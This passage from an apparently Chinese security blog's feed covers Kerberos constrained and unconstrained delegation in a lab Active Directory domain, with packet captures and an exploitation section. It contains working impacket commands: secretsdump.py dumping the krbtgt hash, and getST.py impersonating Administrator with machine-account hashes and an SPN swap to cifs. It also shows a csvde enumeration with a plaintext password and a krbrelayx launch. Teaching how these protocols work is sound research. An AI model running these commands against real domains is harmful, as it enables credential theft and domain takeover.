py3&lt;span class="w"&gt; &lt;/span&gt;secretsdump.py&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;-no-pass&lt;span class="w"&gt; &lt;/span&gt;-target-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.64.139&lt;span class="w"&gt; &lt;/span&gt;-dc-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.64.139&lt;span class="w"&gt; &lt;/span&gt;mother.fucker/Administrator@dc.mother.fucker&lt;span class="w"&gt; &lt;/span&gt;-just-dc&lt;span class="w"&gt; &lt;/span&gt;-just-dc-user&lt;span class="w"&gt; &lt;/span&gt;krbtgt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20220416151439411" src="https://s2.loli.net/2024/06/14/GPzBDqkm7En4rlJ.png"&gt;&lt;/p&gt;
&lt;p&gt;这种方式可用于持久化&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>Kerberos约束委派及利用</title><link href="kerberosyue-shu-wei-pai-ji-li-yong.html" rel="alternate"></link><published>2022-02-27T00:00:00+01:00</published><updated>2022-02-27T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2022-02-27:kerberosyue-shu-wei-pai-ji-li-yong.html</id><summary type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94"&gt;[MS-SFU]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a"&gt;[MS-ADTS]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dke%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.7z"&gt;Kerberos通信数据包解密工具&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more"&gt;SPN in Kerberos is not protected&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;约定:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DS服务器：Delegation Server——委派服务器&lt;/li&gt;
&lt;li&gt;OB用户：on behalf user——被委派的用户&lt;/li&gt;
&lt;li&gt;RS服务器：Resource Server——资源服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 简介&lt;/h1&gt;
&lt;p&gt;在&lt;a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html"&gt;之前的文章&lt;/a&gt;中，我们 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94"&gt;[MS-SFU]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a"&gt;[MS-ADTS]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dke%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.7z"&gt;Kerberos通信数据包解密工具&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more"&gt;SPN in Kerberos is not protected&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;约定:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DS服务器：Delegation Server——委派服务器&lt;/li&gt;
&lt;li&gt;OB用户：on behalf user——被委派的用户&lt;/li&gt;
&lt;li&gt;RS服务器：Resource Server——资源服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 简介&lt;/h1&gt;
&lt;p&gt;在&lt;a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html"&gt;之前的文章&lt;/a&gt;中，我们介绍了Kerberos非约束委派及利用方式，那么在这篇文章中，我将会介绍Windows AD环境中Kerberos协议的约束委派&lt;/p&gt;
&lt;p&gt;约束委派中的约束二字具体体现在下图中：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645954678509" src="https://s2.loli.net/2024/06/14/uYSTZksz3A8BcdW.png"&gt;&lt;/p&gt;
&lt;p&gt;也就是说，我们可以限制DS服务器所能够访问到的服务&lt;/p&gt;
&lt;p&gt;比如上图中，DS服务器ds-server只能够访问到RS服务器&lt;code&gt;WIN-JTPO01EANAQ&lt;/code&gt;的time服务&lt;/p&gt;
&lt;p&gt;你或许注意到了，上图中有两个选项，一个仅可以使用Kerberos，另一个可以使用任何身份验证协议&lt;/p&gt;
&lt;p&gt;这两个选项分别对应微软为Kerberos协议开发的两个拓展：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;S4U2proxy&lt;/li&gt;
&lt;li&gt;S4U2self&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中第二个拓展提供了一个叫做&lt;code&gt;Protocol Transition&lt;/code&gt;（协议转换）的特性&lt;/p&gt;
&lt;p&gt;也就是说，不管客户端使用何种认证协议认证到DS服务器，都能够使用该用户的身份通过DS服务器来访问RS服务器&lt;/p&gt;
&lt;p&gt;大致过程如下:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OB用户使用NTLM（或者其他的身份认证协议）认证到DS服务器&lt;/li&gt;
&lt;li&gt;DS服务器代表OB用户向KDC请求一个针对自身的TGS票据（OB@DS$@domain.name），这个过程叫做S4U2self&lt;/li&gt;
&lt;li&gt;DS服务器使用上一步获取的TGS票据向KDC请求一个针对RS服务器的TGS票据（OB@time/RS@domain.name），这个过程叫做S4U2proxy，time是我们在上图中指定的服务类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面我们就进行抓包分析，以便更好地理解这两个扩展&lt;/p&gt;
&lt;h1&gt;0x2 抓包&lt;/h1&gt;
&lt;p&gt;我们在配置好&lt;code&gt;ds-server&lt;/code&gt;服务器的委派设置之后，使用impacket中的examples脚本中的&lt;a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/getST.py"&gt;getST.py&lt;/a&gt;来进行演示&lt;/p&gt;
&lt;p&gt;执行如下命令执行完整的S4U请求（先执行S4U2self请求，然后执行S4U2proxy请求）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -dc-ip 192.168.64.128
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;wireshark过滤条件直接写&lt;code&gt;tcp.port==88&lt;/code&gt;即可&lt;/p&gt;
&lt;h2&gt;0x2.1 S4U2self&lt;/h2&gt;
&lt;h3&gt;0x2.1.1 DS服务器获取TGT票据&lt;/h3&gt;
&lt;p&gt;&lt;img alt="1645955992786" src="https://s2.loli.net/2024/06/14/OHDWYEZec7bGawS.png"&gt;&lt;/p&gt;
&lt;p&gt;在实际的S4U过程中，这一步是在DS服务器开机之后就完成的，但是由于我们是使用工具模拟请求，所以需要先获取到DS服务器的TGT票据&lt;/p&gt;
&lt;p&gt;这也是为什么我们在上面的命令中需要使用&lt;code&gt;ds-server$&lt;/code&gt;账户的hash&lt;/p&gt;
&lt;p&gt;该过程在&lt;a href="http://144.34.164.217/kerberosxie-yi-fen-xi.html"&gt;Kerberos协议分析&lt;/a&gt;一文中已经讲解过，在此不再赘述&lt;/p&gt;
&lt;h3&gt;0x2.1.2 DS服务器代表OB用户获取针对自己的TGS票据&lt;/h3&gt;
&lt;p&gt;TGS-REQ：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645957272094" src="https://s2.loli.net/2024/06/14/DRjaxzoPlygrOGh.png"&gt;&lt;/p&gt;
&lt;p&gt;小标题中的&lt;strong&gt;针对自己的TGS票据&lt;/strong&gt;意思就是在请求的票据中不包含服务类型，而只有DS服务器的机器账户名称&lt;/p&gt;
&lt;p&gt;可以看到，在该TGS请求中，提交的是DS服务器自己的TGT票据，我们可以使用解密工具解密authenticator字段来证明&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645964029604" src="https://s2.loli.net/2024/06/14/ScCZ5Ume3sJbunR.png"&gt;&lt;/p&gt;
&lt;p&gt;另外一个重要的字段就是&lt;code&gt;PA-DATA&lt;/code&gt;，类型为&lt;code&gt;pA-FOR-USER&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;下面是微软&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94"&gt;[MS-SFU]&lt;/a&gt;文档中对&lt;code&gt;PA-FOR-USER&lt;/code&gt;的描述&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645964296500" src="https://s2.loli.net/2024/06/14/eZhw5iApTnPSBXW.png"&gt;&lt;/p&gt;
&lt;p&gt;上图中最后给出了该字段的结构，其中&lt;code&gt;cksum&lt;/code&gt;为&lt;code&gt;userName&lt;/code&gt;、&lt;code&gt;userRealm&lt;/code&gt;和&lt;code&gt;auth-package&lt;/code&gt;的校验和&lt;/p&gt;
&lt;p&gt;校验和的计算需要TGT session key，userName就是OB用户&lt;/p&gt;
&lt;p&gt;因此我们完全有能力自行构造&lt;code&gt;PA-FOR-USER&lt;/code&gt;字段&lt;/p&gt;
&lt;p&gt;你会发现，我们居然不需要OB用户的任何凭据信息就可以对其进行委派，只需要知道OB用户所在的域名和其&lt;code&gt;samAccountName&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;TGS-REP：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645964779409" src="https://s2.loli.net/2024/06/14/bLBcEfdNUDkRyCF.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，该票据的所有者是&lt;code&gt;Administrator&lt;/code&gt;，也就是OB用户，我们可以通过解密&lt;code&gt;ticket.enc-part&lt;/code&gt;来进一步确认&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645965352165" src="https://s2.loli.net/2024/06/14/mYnAji92PxTcuGv.png"&gt;&lt;/p&gt;
&lt;h2&gt;0x2.2 S4U2proxy&lt;/h2&gt;
&lt;h3&gt;0x2.2.1 DS服务器代表OB用户获取针对RS服务器的TGS票据&lt;/h3&gt;
&lt;p&gt;TGS-REQ：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645966125024" src="https://s2.loli.net/2024/06/14/OENnxVSwGZzybf7.png"&gt;&lt;/p&gt;
&lt;p&gt;从上图中可以看到DS服务器拿着自己的TGT票据，以及在req-body中的&lt;code&gt;additional-tickets&lt;/code&gt;向KDC申请&lt;code&gt;time/WIN-JTPO01EANAQ.mother.fucker&lt;/code&gt;票据&lt;/p&gt;
&lt;p&gt;&lt;code&gt;additional-tickets&lt;/code&gt;就是在S4U2self阶段获取到的针对DS服务器自身的TGS票据&lt;/p&gt;
&lt;p&gt;TGS-REP：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645966408150" src="https://s2.loli.net/2024/06/14/k3GWptQANcEfsLh.png"&gt;&lt;/p&gt;
&lt;p&gt;该票据就是颁发给Administrator用户的，我们可以通过解密&lt;code&gt;ticket.enc-part&lt;/code&gt;来进一步确认该票据的所有者&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645966539210" src="https://s2.loli.net/2024/06/14/SF2wI6oY4BRpivm.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，整个约束委派过程就完成，我们获取到了用于访问RS服务器&lt;code&gt;WIN-JTPO01EANAQ.mother.fucker&lt;/code&gt;的time服务的票据&lt;/p&gt;
&lt;h1&gt;0x3 拓展&lt;/h1&gt;
&lt;h2&gt;0x3.1 TGS票据中SPN服务类型可以任意修改&lt;/h2&gt;
&lt;p&gt;票据通过TGS-REP从KDC返回给客户端，也就是其中的&lt;code&gt;ticket&lt;/code&gt;字段，该字段中有一个&lt;code&gt;enc-part&lt;/code&gt;，是使用目标服务的账户哈希进行加密的，我们可以看一下该字段解密后的结构：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645967014565" src="https://s2.loli.net/2024/06/14/qPIh3XYMfbG12po.png"&gt;&lt;/p&gt;
&lt;p&gt;其中没有任何一个字段与SPN有关，也就是说，即便我们修改了SPN的服务类型，也不会导致票据失效&lt;/p&gt;
&lt;p&gt;而且事实的确如此，就算将我们上面获取到的票据中SPN的服务类型由&lt;code&gt;time&lt;/code&gt;改为&lt;code&gt;cifs&lt;/code&gt;，也依然可以正常使用&lt;/p&gt;
&lt;p&gt;可以使用这个&lt;a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/d8d454bff04d4ba19a48a23a03a56a2d9e7cb2dc/examples/getST.py"&gt;修改过的getST.py&lt;/a&gt;在获取TGS票据的同时对服务类型进行修改，只需要将执行的命令改成下面即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;使用获取到的cifs票据访问目标服务器文件系统&lt;/p&gt;
&lt;p&gt;&lt;img alt="1645967779095" src="https://s2.loli.net/2024/06/14/vhkM87bJ36lKTGN.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：只有运行在同一个服务账户下的服务才可以互相更改，比如time服务运行在example_service_user账户下，那么就算你改成了cifs服务，也你无法访问服务器的文件系统，因为cifs服务并不是由example_service_user账户运行的，一般由计算机账户运行&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;0x3.2 user account control&lt;/h2&gt;
&lt;p&gt;回到文中的第一张图&lt;/p&gt;
&lt;p&gt;如果我们选择了&lt;code&gt;使用任何身份验证协议&lt;/code&gt;，那么我们的DS服务器账户的&lt;code&gt;useraccountcontrol&lt;/code&gt;属性的值为&lt;code&gt;0x1001000&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220228195037393" src="https://s2.loli.net/2024/06/14/ZDG9fM46sYgoOHV.png"&gt;&lt;/p&gt;
&lt;p&gt;对照&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a"&gt;[MS-ADTS]&lt;/a&gt;中对userAccountControl Bits的描述：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220228195226544" src="https://s2.loli.net/2024/06/14/1dc6pFumPxCBhes.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0000 0001 0000 0000 0001 0000 0000 0000&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第7位和第19位两个比特位启用，两者分别对应&lt;code&gt;TA&lt;/code&gt;和&lt;code&gt;WT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;TA代表&lt;code&gt;ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION&lt;/code&gt;，&lt;strong&gt;启用了该bit位的账户可以代表其他用户通过S4U2self请求获取到一个针对自己的TGS票据，且该票据拥有forwardable标志位（可转发），如果票据不可转发，那么S4U2proxy请求将会失败&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WT标志位表示该账户是机器账户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以尝试将&lt;code&gt;ds-server&lt;/code&gt;账户&lt;code&gt;userAccountControl&lt;/code&gt;属性的TA标志位取消掉（将其值设置为4096），然后再执行S4U2self，查看返回的票据是否具有&lt;code&gt;forwardable&lt;/code&gt;标志位&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -self -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;使用&lt;a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/f53426a4dde5b0c55da3598b312a9245b7f5b26f/examples/describeTicket.py"&gt;describeTicket.py&lt;/a&gt;脚本查看票据的详细信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describeTicket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ds&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mother&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fucker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;aes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="n"&gt;b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;\&lt;span class="n"&gt;Users&lt;/span&gt;\&lt;span class="n"&gt;x&lt;/span&gt;\&lt;span class="n"&gt;Downloads&lt;/span&gt;\&lt;span class="n"&gt;tmp&lt;/span&gt;\&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ds&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;MOTHER&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUCKER&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ccache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;可以看到S4U2self请求返回的票据并不带有&lt;code&gt;forwardable&lt;/code&gt;标志位&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220228204852524" src="https://s2.loli.net/2024/06/14/gvhfHWdnN5eYuZT.png"&gt;&lt;/p&gt;
&lt;p&gt;那么下一步的S4U2proxy请求就回应为additional-ticket中的票据无法被转发而失败：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220228205923389" src="https://s2.loli.net/2024/06/14/zknLcKGhp5UF1Qe.png"&gt;&lt;/p&gt;
&lt;p&gt;另外，我们可以看到&lt;code&gt;ds-server&lt;/code&gt;的委派配置变成了下面这样：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220228210042818" src="https://s2.loli.net/2024/06/14/9uUOgmMjfy2hpZ8.png"&gt;&lt;/p&gt;
&lt;p&gt;这是因为我们前面更改userAccountControl属性，取消了TA标志位&lt;/p&gt;
&lt;p&gt;也就是说没有TA标志位的委派服务器执行S4U2self请求是没有意义的（&lt;strong&gt;在某些特殊的攻击场景下会有用&lt;/strong&gt;），因为返回的票据并不能用于S4U2proxy&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;该选项相较于上面的&lt;code&gt;使用任何身份验证协议&lt;/code&gt;更加安全，因为我们需要先使用OB用户的凭据来获取一个针对DS服务器的票据，然后才可以执行S4U2proxy来获取针对RS服务器的票据，这样就大大增加了攻击难度&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;0x4 利用&lt;/h1&gt;
&lt;p&gt;可以使用csvde搜索域内所有&lt;code&gt;msDS-AllowedToDelegateTo&lt;/code&gt;属性不为空的账户：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.64.128 -b Administrator mother.fucker qwe123... -d &amp;quot;dc=mother,dc=fucker&amp;quot; -r (msds-AllowedToDelegateTo=*/*) -l dn,sAMAccountName,msds-AllowedToDelegateTo,userAccountControl -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后我们需要通过&lt;code&gt;userAccountControl&lt;/code&gt;的值确认是否启用了&lt;code&gt;TA&lt;/code&gt;标志位，执行下面的Python代码即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;print&lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;True&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;uac&lt;/span&gt;值&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="ss"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;False&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;由于TA为第7位（从0开始），因此可以通过和左移24位的1进行与运算来判断该bit位是否启用&lt;/p&gt;
&lt;p&gt;如果TA比特位启用，且可以委派到指定服务器，那么一旦我们获得了该委派服务账户的凭据，我们就可以冒充任意账户去获取指定服务器的票据&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;因此，这个利用难度还是比较高的，后面我们将会介绍Kerberos基于资源的约束委派，在这种类型的约束委派中，S4U2self和S4U2proxy将会起到非常重要的作用&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;0x5 结语&lt;/h1&gt;
&lt;p&gt;没什么新的内容，都是网上能找得到的东西，这里不过是炒炒冷饭而已，权当笔记&lt;/p&gt;
&lt;p&gt;如有不足之处，欢迎师傅们指点&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>Kerberos非约束委派数据包分析</title><link href="kerberosfei-yue-shu-wei-pai-shu-ju-bao-fen-xi.html" rel="alternate"></link><published>2022-02-06T00:00:00+01:00</published><updated>2022-02-06T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2022-02-06:kerberosfei-yue-shu-wei-pai-shu-ju-bao-fen-xi.html</id><summary type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html"&gt;非约束委派账户配合printerbug域内提权&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc4120"&gt;RFC 4120&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc4121"&gt;RFC 4121&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 前言&lt;/h1&gt;
&lt;p&gt;约定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key&lt;/li&gt;
&lt;li&gt;c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;之前我们介绍过Windows AD中非约束委派的利用过程和原理，但是并没有去真正抓包分 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html"&gt;非约束委派账户配合printerbug域内提权&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc4120"&gt;RFC 4120&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc4121"&gt;RFC 4121&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 前言&lt;/h1&gt;
&lt;p&gt;约定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key&lt;/li&gt;
&lt;li&gt;c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;之前我们介绍过Windows AD中非约束委派的利用过程和原理，但是并没有去真正抓包分析过&lt;/p&gt;
&lt;p&gt;我们都知道仅仅拥有TGT票据而没有&lt;code&gt;c-d-skey&lt;/code&gt;是没办法创建合法的&lt;code&gt;authenticator&lt;/code&gt;的，也就无法构造出合法的TGS-REQ来申请服务票据&lt;/p&gt;
&lt;p&gt;那么在非约束委派攻击中，我们的恶意服务器是如何收到&lt;code&gt;c-d-skey&lt;/code&gt;的呢？下面我们就来抓包分析一下&lt;/p&gt;
&lt;h1&gt;0x2 攻击流程&lt;/h1&gt;
&lt;p&gt;这里再稍微提一下整个的攻击流程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域内的用户A在访问由非约束委派账户B运行的服务S&lt;/li&gt;
&lt;li&gt;向KDC请求服务票据&lt;/li&gt;
&lt;li&gt;KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据&lt;/li&gt;
&lt;li&gt;该票据由服务账户也就是非约束委派账户B的hash进行加密&lt;/li&gt;
&lt;li&gt;用户A向其请求的服务器发送带有其TGT的服务票据&lt;/li&gt;
&lt;li&gt;服务器拿到后使用服务账户B解密即可获得用户A的TGT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以看到，在上面的攻击流程中，只提到恶意服务器解密数据包之后获得TGT，但是并没有说如何获取&lt;code&gt;c-d-skey&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;以下是具体的抓包分析过程&lt;/p&gt;
&lt;p&gt;环境搭建参考我&lt;a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html"&gt;之前的文章&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;0x3 抓包&lt;/h1&gt;
&lt;p&gt;搭建好环境之后，启动&lt;code&gt;krbrelayx&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python krbrelayx.py -p &amp;quot;qwe123...&amp;quot; -s MOTHER.FUCKERohyeah
